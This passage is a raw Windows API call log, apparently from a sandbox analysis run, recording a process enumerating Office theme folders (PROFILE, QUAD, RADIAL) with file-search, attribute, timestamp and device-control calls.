ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0054.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.951] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.951] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa300 [0054.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefe550 [0054.951] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.951] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0054.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.951] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.951] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00340 [0054.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefe658 [0054.952] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.952] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.952] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.952] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00360 [0054.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefe760 [0054.952] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.952] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.952] GetLastError () returned 0x12 [0054.952] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.952] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.952] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.952] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.952] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0054.952] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0054.952] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.952] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.952] GetLastError () returned 0x12 [0054.953] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefbf18) returned 1 [0054.953] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.953] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefe340) returned 1 [0054.953] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.953] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0054.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.953] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0054.957] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf00b28 [0054.957] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf00b28, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf00b28, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.957] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf00b28) returned 1 [0054.957] NtClose (Handle=0x17c) returned 0x0 [0054.957] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0054.957] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.957] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.958] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00380 [0054.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefe340 [0054.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.958] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0054.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf003a0 [0054.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefe868 [0054.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.958] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0054.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf003c0 [0054.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefe970 [0054.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.959] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf003e0 [0054.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefea78 [0054.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.959] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.959] GetLastError () returned 0x12 [0054.959] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.959] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.959] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.959] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.959] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0054.959] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0054.959] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.959] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.960] GetLastError () returned 0x12 [0054.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0054.960] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.960] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0054.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.960] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0054.967] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf00b28 [0054.967] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf00b28, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf00b28, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf00b28) returned 1 [0054.967] NtClose (Handle=0x170) returned 0x0 [0054.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefeb80 [0054.967] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.967] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.967] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.967] RtlAllocateHeap (HeapHandle=0x300000, 